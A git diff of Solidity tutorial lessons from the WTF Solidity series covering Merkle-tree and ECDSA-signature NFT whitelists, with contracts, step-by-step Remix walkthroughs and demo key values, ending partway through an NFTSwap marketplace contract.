correct. If any of these values are changed, it will return `false`. + +Using `Merkle Tree` to distribute NFT whitelists: + +Updating an 800-address whitelist can easily cost more than 1 ETH in gas fees. However, using the `Merkle Tree` verification, the `leaf` and `proof` can exist on the backend, and only one value of `root` needs to be stored on the chain, making it very gas-efficient. Many `ERC721` NFT and `ERC20` standard token whitelists/airdrops are issued using `Merkle Tree`, such as the airdrop on Optimism. + +Here, we introduce how to use the `MerkleTree` contract to distribute NFT whitelists: + +```solidity +contract MerkleTree is ERC721 { + bytes32 immutable public root; // Root of the Merkle tree + mapping(address => bool) public mintedAddress; // Record the address that has already been minted + + // Constructor, initialize the name and symbol of the NFT collection, and the root of the Merkle tree + constructor(string memory name, string memory symbol, bytes32 merkleroot) + ERC721(name, symbol) + { + root = merkleroot; + } + + // Use the Merkle tree to verify the address and mint + function mint(address account, uint256 tokenId, bytes32[] calldata proof) + external + { + require(_verify(_leaf(account), proof), "Invalid merkle proof"); // Merkle verification passed + require(!mintedAddress[account], "Already minted!"); // Address has not been minted + + mintedAddress[account] = true; // Record the minted address + _mint(account, tokenId); // Mint + } + + // Calculate the hash value of the Merkle tree leaf + function _leaf(address account) + internal pure returns (bytes32) + { + return keccak256(abi.encodePacked(account)); + } + + // Merkle tree verification, call the verify() function of the MerkleProof library + function _verify(bytes32 leaf, bytes32[] memory proof) + internal view returns (bool) + { + return MerkleProof.verify(proof, root, leaf); + } +} +``` + +The `MerkleTree` contract inherits the `ERC721` standard and utilizes the `MerkleProof` library. + +### State Variables +The contract has two state variables: +- `root` stores the root of the `Merkle Tree`, assigned during contract deployment. +- `mintedAddress` is a `mapping` that records minted addresses. It is assigned a value after a successful mint. + +### Functions +The contract has four functions: +- Constructor: Initializes the name and symbol of the NFT, and the `root` of the `Merkle Tree`. +- `mint()` function: Mints an NFT using a whitelist. Takes `account` (whitelisted address), `tokenId` (minted ID), and `proof` as arguments. The function first verifies whether the `address` is whitelisted. If verification passes, the NFT with ID `tokenId` is minted for the address, which is then recorded in `mintedAddress`. This process calls the `_leaf()` and `_verify()` functions. +- `_leaf()` function: Calculates the hash of the leaf address of the `Merkle Tree`. +- `_verify()` function: Calls the `verify()` function of the `MerkleProof` library to verify the `Merkle Tree`. + +### `Remix` Verification +We use the four addresses in the example above as the whitelist and generate a `Merkle Tree`. We deploy the `MerkleTree` contract with three arguments: + +```solidity +name = "WTF MerkleTree" +symbol = "WTF" +merkleroot = 0xeeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097 +``` + +![Deploying MerkleTree contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/36_MerkleTree_en/step1/img/36-5.png) + +Next, run the `mint` function to mint an `NFT` for address 0, using three parameters: + +```solidity +account = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 +tokenId = 0 +proof = [ "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb", "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c" ] +``` + +We can use the `ownerOf` function to verify that the `tokenId` of 0 for the NFT has been minted to address 0, and the contract has run successfully. + +If we change the holder of the `tokenId` to 0, the contract will still run successfully. + +If we call the `mint` function again at this point, although the address can pass the `Merkle Proof` verification, because the address has already been recorded in `mintedAddress`, the transaction will be aborted due to `"Already minted!"`. + +In this lesson, we introduced the concept of `Merkle Tree`, how to generate a simple `Merkle Tree`, how to use smart contracts to verify `Merkle Tree`, and how to use it to distribute `NFT` whitelist. + +In practical use, complex `Merkle Tree` can be generated and managed using the `merkletreejs` library in Javascript, and only one root value needs to be stored on the chain, which is very gas-efficient. Many project teams choose to use `Merkle Tree` to distribute the whitelist. diff --git a/SolidityBasics_Part3_Applications/step7/Signature.sol b/SolidityBasics_Part3_Applications/step7/Signature.sol new file mode 100644 index 000000000..ad266bb65 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step7/Signature.sol @@ -0,0 +1,230 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "../34_ERC721/ERC721.sol"; + +// ECDSA库 +library ECDSA{ + /** + * @dev Verifies if the signature address is correct through ECDSA. If it is correct, returns true. + * _msgHash: hash of the message + * _signature: the signature + * _signer: the address that signed the message + */ + function verify(bytes32 _msgHash, bytes memory _signature, address _signer) internal pure returns (bool) { + return recoverSigner(_msgHash, _signature) == _signer; + } + + // @dev Recovers the signer address from _msgHash and the signature _signature + function recoverSigner(bytes32 _msgHash, bytes memory _signature) internal pure returns (address) { + // Checks the length of the signature. 65 is the length of a standard r,s,v signature. + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Currently, we can only use assembly to obtain the values of r,s,v from the signature. + assembly { + /* + The first 32 bytes store the length of the signature (dynamic array storage rule) + add(sig, 32) = signature pointer + 32 + Is equivalent to skipping the first 32 bytes of the signature + mload(p) loads the next 32 bytes of data from the memory address p + */ + // Reads the next 32 bytes after the length data + r := mload(add(_signature, 0x20)) + // Reads the next 32 bytes after r + s := mload(add(_signature, 0x40)) + // Reads the last byte + v := byte(0, mload(add(_signature, 0x60))) + } + // Uses ecrecover(global function) to recover the signer address from msgHash, r,s,v + return ecrecover(_msgHash, v, r, s); + } + + /** + * @dev Returns an Ethereum signed message + * `hash`: message hash + * Follows the Ethereum signing standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * and `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adds the "\x19Ethereum Signed Message:\n32" field to prevent signing executable transactions. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 is the length in bytes of hash, + // enforced by the type signature above + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } +} +contract SignatureNFT is ERC721 { + // The address that signs the minting requests + address immutable public signer; + + // A mapping that tracks addresses that have already been used for minting + mapping(address => bool) public mintedAddress; + + // Constructor function that initializes the NFT collection's name, symbol, and signer address + constructor(string memory _name, string memory _symbol, address _signer) + ERC721(_name, _symbol) + { + signer = _signer; + } + + // Validates the signature using ECDSA and then mints a new token to the specified address with the given ID + function mint(address _account, uint256 _tokenId, bytes memory _signature) + external + { + bytes32 _msgHash = getMessageHash(_account, _tokenId); // Concatenate the address and token ID to create a message hash + bytes32 _ethSignedMessageHash = ECDSA.toEthSignedMessageHash(_msgHash); // Calculate the Ethereum signed message hash + require(verify(_ethSignedMessageHash, _signature), "Invalid signature"); // Validate the signature using ECDSA + require(!mintedAddress[_account], "Already minted!"); // Make sure the address hasn't already been used for minting + + mintedAddress[_account] = true; // Record that the address has been used for minting + _mint(_account, _tokenId); // Mint the new token to the specified address + } + + /* + * Concatenates the address and token ID to create a message hash + * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * _tokenId: 0 + * The corresponding message hash: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c + */ + function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){ + return keccak256(abi.encodePacked(_account, _tokenId)); + } + + // Validates the signature using the ECDSA library + function verify(bytes32 _msgHash, bytes memory _signature) + public view returns (bool) + { + return ECDSA.verify(_msgHash, _signature, signer); + } +} + + +/* Signature Verification + +How to Sign and Verify +# Signing +1. Create message to sign +2. Hash the message +3. Sign the hash (off chain, keep your private key secret) + +# Verify +1. Recreate hash from the original message +2. Recover signer from signature and hash +3. Compare recovered signer to claimed signer +*/ + + + +contract VerifySignature { + /* 1. Unlock MetaMask account + ethereum.enable() + */ + + /* 2. Get message hash to sign + getMessageHash( + 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C, + 123, + "coffee and donuts", + 1 + ) + + hash = "0xcf36ac4f97dc10d91fc2cbb20d718e94a8cbfe0f82eaedc6a4aa38946fb797cd" + */ + function getMessageHash( + address _addr, + uint256 _tokenId + ) public pure returns (bytes32) { + return keccak256(abi.encodePacked(_addr, _tokenId)); + } + + /* 3. Sign message hash + # using browser + account = "copy paste account of signer here" + ethereum.request({ method: "personal_sign", params: [account, hash]}).then(console.log) + + # using web3 + web3.personal.sign(hash, web3.eth.defaultAccount, console.log) + + Signature will be different for different accounts + 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b + */ + function getEthSignedMessageHash(bytes32 _messageHash) + public + pure + returns (bytes32) + { + /* + Signature is produced by signing a keccak256 hash with the following format: + "\x19Ethereum Signed Message\n" + len(msg) + msg + */ + return + keccak256( + abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash) + ); + } + + /* 4. Verify signature + signer = 0xB273216C05A8c0D4F0a4Dd0d7Bae1D2EfFE636dd + to = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C + amount = 123 + message = "coffee and donuts" + nonce = 1 + signature = + 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b + */ + function verify( + address _signer, + address _addr, + uint _tokenId, + bytes memory signature + ) public pure returns (bool) { + bytes32 messageHash = getMessageHash(_addr, _tokenId); + bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); + + return recoverSigner(ethSignedMessageHash, signature) == _signer; + } + + function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) + public + pure + returns (address) + { + (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); + + return ecrecover(_ethSignedMessageHash, v, r, s); + } + + function splitSignature(bytes memory sig) + public + pure + returns ( + bytes32 r, + bytes32 s, + uint8 v + ) + { + // Check the length of the signature, 65 is the standard length for r, s, v signature. + require(sig.length == 65, "invalid signature length"); + + assembly { + /* + First 32 bytes stores the length of the signature + + add(sig, 32) = pointer of sig + 32 + effectively, skips first 32 bytes of signature + + mload(p) loads next 32 bytes starting at the memory address p into memory + */ + + // first 32 bytes, after the length prefix + r := mload(add(sig, 0x20)) + // second 32 bytes + s := mload(add(sig, 0x40)) + // final byte (first byte of the next 32 bytes) + v := byte(0, mload(add(sig, 0x60))) + } + + // implicitly return (r, s, v) + } +} diff --git a/SolidityBasics_Part3_Applications/step7/img/37-1.png b/SolidityBasics_Part3_Applications/step7/img/37-1.png new file mode 100644 index 000000000..cf53ba9b9 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-1.png differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-2.png b/SolidityBasics_Part3_Applications/step7/img/37-2.png new file mode 100644 index 000000000..2d678f861 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-2.png differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-3.png b/SolidityBasics_Part3_Applications/step7/img/37-3.png new file mode 100644 index 000000000..da43c4c63 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-3.png differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-4.jpg b/SolidityBasics_Part3_Applications/step7/img/37-4.jpg new file mode 100644 index 000000000..4dc376f5b Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-4.jpg differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-4.png b/SolidityBasics_Part3_Applications/step7/img/37-4.png new file mode 100644 index 000000000..dd97cf505 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-4.png differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-5.png b/SolidityBasics_Part3_Applications/step7/img/37-5.png new file mode 100644 index 000000000..401dd0aae Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-5.png differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-6.png b/SolidityBasics_Part3_Applications/step7/img/37-6.png new file mode 100644 index 000000000..9f1564e10 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-6.png differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-7.png b/SolidityBasics_Part3_Applications/step7/img/37-7.png new file mode 100644 index 000000000..304937291 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-7.png differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-8.png b/SolidityBasics_Part3_Applications/step7/img/37-8.png new file mode 100644 index 000000000..df4c1306e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-8.png differ diff --git a/SolidityBasics_Part3_Applications/step7/img/37-9.png b/SolidityBasics_Part3_Applications/step7/img/37-9.png new file mode 100644 index 000000000..a27d131cd Binary files /dev/null and b/SolidityBasics_Part3_Applications/step7/img/37-9.png differ diff --git a/SolidityBasics_Part3_Applications/step7/step1.md b/SolidityBasics_Part3_Applications/step7/step1.md new file mode 100644 index 000000000..d70fb94fe --- /dev/null +++ b/SolidityBasics_Part3_Applications/step7/step1.md @@ -0,0 +1,290 @@ +--- +title: 37. Digital Signature +tags: + - Solidity + - Application + - WTF Academy + - ERC721 + - Signature +--- + +# WTF Solidity QuickStart: Lesson 37 Digital Signature + +I'm currently relearning Solidity to consolidate some details and write a 'WTF Solidity QuickStart' for newbies to use (programming experts can find other tutorials), with 1-3 updates per week. + +Welcome to follow my Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Welcome to join the WTF Scientist community, where you can find instructions to join our WeChat group: [link](https://discord.gg/5akcruXrsk) + +All code and tutorials are open-sourced on GitHub (course certification with 1024 stars, community NFT with 2048 stars): [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lecture, we will briefly introduce the digital signature `ECDSA` in Ethereum and how to use it to issue an `NFT` whitelist. The `ECDSA` library used in the code is simplified from the library of the same name from `OpenZeppelin`. + +## Digital Signature + +If you have traded `NFT` on `opensea`, you are no stranger to signatures. The following picture shows the window that pops up when the `metamask` wallet signs, which can prove that you own the private key without exposing it to the public. + +![metamask signing](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/37_Signature_en/step1/img/37-1.png) + +The digital signature algorithm used in Ethereum is called the Elliptic Curve Digital Signature Algorithm (`ECDSA`), which is a digital signature algorithm based on the "private-public key" pair of elliptic curves. It mainly plays [three roles](https://en.wikipedia.org/wiki/Digital_signature): + +1. **Identity authentication**: Prove that the signer is the holder of the private key. +2. **Non-repudiation**: The sender cannot deny having sent the message. +3. **Integrity**: The message cannot be modified during transmission. + +## `ECDSA` Contract + +The `ECDSA` standard consists of two parts: + +1. The signer uses the `private key` (private) to create a `signature` (public) for the `message` (public). +2. Others use the `message` (public) and `signature` (public) to recover the signer's `public key` (public) and verify the signature. + +We will work together with the `ECDSA` library to explain these two parts. The `private key`, `public key`, `message`, `Ethereum signed message`, and `signature` used in this tutorial are shown below: + +``` +Private key: 0x227dbb8586117d55284e26620bc76534dfbd2394be34cf4a09cb775d593b6f2b +Public key: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +Message: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c +Eth signed message: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +Signature: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +### Creating a signature + +**1. Packing the message:** In the Ethereum `ECDSA` standard, the `message` being signed is the `keccak256` hash of a set of data, which is of type `bytes32`. We can pack any content we want to sign using the `abi.encodePacked()` function, and then use `keccak256()` to calculate the hash as the `message`. In our example, the `message` is obtained from a 'uint256` type variable and an `address` type variable. + +```solidity +/* + * Concatenate the minting address (address type) and tokenId (uint256 type) to form the message msgHash + * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * _tokenId: 0 + * The corresponding message msgHash: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c + */ +function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){ + return keccak256(abi.encodePacked(_account, _tokenId)); +} +``` + +![Packed message](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/37_Signature_en/step1/img/37-2.png) + +**2. Calculate Ethereum Signature Message:** The `message` can be an executable transaction or anything else. In order to prevent users from signing malicious transactions by mistake, `EIP191` recommends adding the `"\x19Ethereum Signed Message:\n32"` character before the `message`, and then doing another `keccak256` hash to create the `Ethereum Signature Message`. The message processed by the `toEthSignedMessageHash()` function cannot be used to execute transactions. + +```solidity + /** + * @dev Returns an Ethereum-signed message hash. + * `hash`: The message to be hashed + * Follows Ethereum signing standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * and `EIP191`:https://eips.ethereum.org/EIPS/eip-191` + * Adds the "\x19Ethereum Signed Message:\n32" string to prevent signing executable transactions. + */ + function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { + // The length of hash is 32 + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } +``` + +The processed message is: + +``` +Ethereum signed message: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +``` + +![Ethereum Signing Message](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/37_Signature_en/step1/img/37-3.png) + +**3-1. Sign with wallet:** In daily operations, most users sign messages using this method. After obtaining the message that needs to be signed, we need to use the `Metamask` wallet to sign it. The `personal_sign` method of `Metamask` will automatically convert the `message` into an `Ethereum signed message` and then initiate the signature. So we only need to input the `message` and the `signer wallet account`. It should be noted that the input `signer wallet account` needs to be consistent with the account currently connected by `Metamask`. + +Therefore, you need to first import the `private key` in the example into the `Foxlet wallet`, and then open the `console` page of the browser: `Chrome menu-more tools-developer tools-Console`. Under the status of connecting to the wallet (such as connecting to OpenSea, otherwise an error will occur), enter the following instructions step by step to sign: + +``` +ethereum.enable() +account = "0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2" +hash = "0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c" +ethereum.request({method: "personal_sign", params: [account, hash]}) +``` + +The created signature can be seen in the returned result (`PromiseResult`). Different accounts have different private keys, and the created signature values are also different. The signature created using the tutorial's private key is shown below: + +``` +0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +![Sign with Metamask through browser console](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/37_Signature_en/step1/img/37-4.jpg) + +**3-2. Signing with web3.py:** When it comes to batch calling, signing with code is preferred. The following is an implementation based on web3.py. + +This is Python code that uses the `web3` library and `eth_account` module to sign a message using a given private key and Ethereum address. It connects to the Ankr ETH RPC endpoint and prints the keccak hash of the message and the resulting signature. + +The result of the execution is shown below. The calculated message, signature, and earlier examples are consistent. + +``` +Message:0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c +Signature:0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +### Verify Signature + +To verify the signature, the verifier needs to have the `message`, `signature`, and the `public key` used to sign the message. We can verify the signature because only the holder of the `private key` can generate such a signature for the transaction, and nobody else can. + +**4. Recover Public Key from Signature and Message:** The `signature` is generated by a mathematical algorithm. Here we use the `rsv signature`, which contains information about `r, s, v`. Then, we can obtain the `public key` from `r, s, v`, and the `Ethereum signature message`. The `recoverSigner()` function below implements the above steps. It recovers the `public key` from the `Ethereum signature message _msgHash` and the `signature _signature` (using simple inline assembly): + +```solidity + // @dev Recovers the signer address from _msgHash and the signature _signature + function recoverSigner(bytes32 _msgHash, bytes memory _signature) internal pure returns (address) { + // Checks the length of the signature. 65 is the length of a standard r,s,v signature. + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Currently, we can only use assembly to obtain the values of r,s,v from the signature. + assembly { + /* + The first 32 bytes store the length of the signature (dynamic array storage rule) + add(sig, 32) = signature pointer + 32 + Is equivalent to skipping the first 32 bytes of the signature + mload(p) loads the next 32 bytes of data from the memory address p + */ + // Reads the next 32 bytes after the length data + r := mload(add(_signature, 0x20)) + // Reads the next 32 bytes after r + s := mload(add(_signature, 0x40)) + // Reads the last byte + v := byte(0, mload(add(_signature, 0x60))) + } + // Uses ecrecover(global function) to recover the signer address from msgHash, r,s,v + return ecrecover(_msgHash, v, r, s); + } +``` + +The parameters are: + +``` +_msgHash:0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +_signature:0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +![Public key recovery by signature and message](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/37_Signature_en/step1/img/37-8.png) + +**5. Compare public keys and verify the signature:** Next, we just need to compare the recovered `public key` with the signer's public key `_signer` to determine if they are equal: if they are, the signature is valid; otherwise, the signature is invalid. + +```solidity +/** +* @dev Verifies if the signature address is correct via ECDSA. Returns true if correct. +* _msgHash is the hash of the message. +* _signature is the signature. +* _signer is the address of the signer. +*/ +function verify(bytes32 _msgHash, bytes memory _signature, address _signer) internal pure returns (bool) { + return recoverSigner(_msgHash, _signature) == _signer; +} +``` + +These are parameters: + +``` +_msgHash:0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +_signature:0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +_signer:0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +``` + +![Comparing public keys and verifying signatures:](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/37_Signature_en/step1/img/37-9.png) +## Using Signatures to Issue Whitelist for NFTs + +The `NFT` project can use the feature of `ECDSA` to issue a whitelist. Since the signature is off-chain and does not require `gas`, this whitelist issuance mode is more economical than the `Merkle Tree` mode. The method is very simple. The project uses the project account to sign the whitelist issuance address (can add the `tokenId` that the address can mint). Then, when `minting`, use `ECDSA` to check if the signature is valid. If it is valid, give it `mint`. + +The `SignatureNFT` contract implements the issuance of `NFT` whitelist using signatures. + +### State Variables +There are two state variables in the contract: +- `signer`: `public key`, the project signature address. +- `mintedAddress` is a `mapping`, which records the addresses that have already been `minted`. + +### Functions +There are four functions in the contract: +- The constructor initializes the name and symbol of the `NFT`, and the `signer` address of `ECDSA` signature. +- The `mint()` function accepts three parameters: the address `address`, `tokenId`, and `_signature`, verifies whether the signature is valid: if it is valid, the `NFT` of `tokenId` is minted to the `address` address, and it is recorded in `mintedAddress`. It calls the `getMessageHash()`, `ECDSA.toEthSignedMessageHash()`, and `verify()` functions. +- The `getMessageHash()` function combines the `mint` address (`address` type) and `tokenId` (`uint256` type) into a `message`. +- The `verify()` function calls the `verify()` function of the `ECDSA` library to perform `ECDSA` signature verification. + +```solidity +contract SignatureNFT is ERC721 { + // The address that signs the minting requests + address immutable public signer; + + // A mapping that tracks addresses that have already been used for minting + mapping(address => bool) public mintedAddress; + + // Constructor function that initializes the NFT collection's name, symbol, and signer address + constructor(string memory _name, string memory _symbol, address _signer) + ERC721(_name, _symbol) + { + signer = _signer; + } + + // Validates the signature using ECDSA and then mints a new token to the specified address with the given ID + function mint(address _account, uint256 _tokenId, bytes memory _signature) + external + { + bytes32 _msgHash = getMessageHash(_account, _tokenId); // Concatenate the address and token ID to create a message hash + bytes32 _ethSignedMessageHash = ECDSA.toEthSignedMessageHash(_msgHash); // Calculate the Ethereum signed message hash + require(verify(_ethSignedMessageHash, _signature), "Invalid signature"); // Validate the signature using ECDSA + require(!mintedAddress[_account], "Already minted!"); // Make sure the address hasn't already been used for minting + + mintedAddress[_account] = true; // Record that the address has been used for minting + _mint(_account, _tokenId); // Mint the new token to the specified address + } + + /* + * Concatenates the address and token ID to create a message hash + * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * _tokenId: 0 + * The corresponding message hash: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c + */ + function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){ + return keccak256(abi.encodePacked(_account, _tokenId)); + } + + // Validates the signature using the ECDSA library + function verify(bytes32 _msgHash, bytes memory _signature) + public view returns (bool) + { + return ECDSA.verify(_msgHash, _signature, signer); + } +} +``` + +### `remix` Verification + +- Sign the `signature` off-chain on Ethereum, and whitelist the `_account` address with `tokenId = 0`. See the <`ECDSA` Contract> section for the data used. + +- Deploy the `SignatureNFT` contract with the following parameters: + +``` +_name: WTF Signature +_symbol: WTF +_signer: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +``` + +Deploying the SignatureNFT contract. + +Calling the `mint()` function to sign and mint the contract using ECDSA verification, with the following parameter: + +``` +_account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 +_tokenId: 0 +_signature: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +![Deploying SignatureNFT Contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/37_Signature_en/step1/img/37-6.png) + +- By calling the `ownerOf()` function, we can see that `tokenId = 0` has been successfully minted to the address `_account`, indicating that the contract has been executed successfully! + +![The owner of tokenId 0 has been changed, indicating that the contract has been executed successfully!](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/37_Signature_en/step1/img/37-7.png) + +## Summary + +In this section, we introduced the digital signature `ECDSA` in Ethereum, how to create and verify signatures using `ECDSA`, and `ECDSA` contracts, and how to distribute `NFT` whitelists using them. The `ECDSA` library in the code is simplified from the same library of `OpenZeppelin`. +- Since the signature is off-chain and does not require `gas`, this whitelist distribution model is more cost-effective than the `Merkle Tree` model; +- However, since users need to request a centralized interface to obtain the signature, a certain degree of decentralization is inevitably sacrificed; +- Another advantage is that the whitelist can be dynamically changed, rather than being hardcoded in the contract in advance because the central backend interface of the project can accept requests from any new address and provide whitelist signatures. diff --git a/SolidityBasics_Part3_Applications/step8/NFTSwap.sol b/SolidityBasics_Part3_Applications/step8/NFTSwap.sol new file mode 100644 index 000000000..76458cb93 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step8/NFTSwap.sol @@ -0,0 +1,127 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "../34_ERC721/IERC721.sol"; +import "../34_ERC721/IERC721Receiver.sol"; +import "../34_ERC721/WTFApe.sol"; + +contract NFTSwap is IERC721Receiver { + event List( + address indexed seller, + address indexed nftAddr, + uint256 indexed tokenId, + uint256 price + ); + event Purchase( + address indexed buyer, + address indexed nftAddr, + uint256 indexed tokenId, + uint256 price + ); + event Revoke( + address indexed seller, + address indexed nftAddr, + uint256 indexed tokenId + ); + event Update( + address indexed seller, + address indexed nftAddr, + uint256 indexed tokenId, + uint256 newPrice + ); + + // define the order structure + struct Order { + address owner; + uint256 price; + } + // NFT Order mapping + mapping(address => mapping(uint256 => Order)) public nftList; + + fallback() external payable {} + + // Pending order: The seller puts NFT on the shelf, the contract address is _nftAddr, the tokenId is _tokenId, and the price _price is Ethereum (the unit is wei) + function list(address _nftAddr, uint256 _tokenId, uint256 _price) public { + IERC721 _nft = IERC721(_nftAddr); // Declare IERC721 interface contract variables + require(_nft.getApproved(_tokenId) == address(this), "Need Approval"); // The contract is authorized + require(_price > 0); // price is greater than 0 + + Order storage _order = nftList[_nftAddr][_tokenId]; //Set NF holder and price + _order.owner = msg.sender; + _order.price = _price; + // Transfer NFT to contract + _nft.safeTransferFrom(msg.sender, address(this), _tokenId); + + // Release the List event + emit List(msg.sender, _nftAddr, _tokenId, _price); + } + + // Purchase: The buyer purchases NFT, the contract is _nftAddr, the tokenId is _tokenId, and ETH is required when calling the function + function purchase(address _nftAddr, uint256 _tokenId) public payable { + Order storage _order = nftList[_nftAddr][_tokenId]; // get Order + require(_order.price > 0, "Invalid Price"); // NFT price is greater than 0 + require(msg.value >= _order.price, "Increase price"); // The purchase price is greater than the list price + // Declare IERC721 interface contract variables + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFT is in the contract + + // Transfer NFT to buyer + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + // Transfer ETH to the seller, and refund the excess ETH to the buyer + payable(_order.owner).transfer(_order.price); + if (msg.value > _order.price) { + payable(msg.sender).transfer(msg.value - _order.price); + } + + // Release the Purchase event + emit Purchase(msg.sender, _nftAddr, _tokenId, _order.price); + + delete nftList[_nftAddr][_tokenId]; // delete order + } + + // Cancellation: The seller cancels the pending order + function revoke(address _nftAddr, uint256 _tokenId) public { + Order storage _order = nftList[_nftAddr][_tokenId]; // get Order + require(_order.owner == msg.sender, "Not Owner"); // must be initiated by the owner + // Declare IERC721 interface contract variables + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFT is in the contract + + // Transfer NFT to seller + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + delete nftList[_nftAddr][_tokenId]; // delete order + + // Release the Revoke event + emit Revoke(msg.sender, _nftAddr, _tokenId); + } + + // Adjust price: The seller adjusts the pending order price + function update( + address _nftAddr, + uint256 _tokenId, + uint256 _newPrice + ) public { + require(_newPrice > 0, "Invalid Price"); // NFT price is greater than 0 + Order storage _order = nftList[_nftAddr][_tokenId]; // get Order + require(_order.owner == msg.sender, "Not Owner"); // must be initiated by the owner + // Declare IERC721 interface contract variables + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFT is in the contract + + 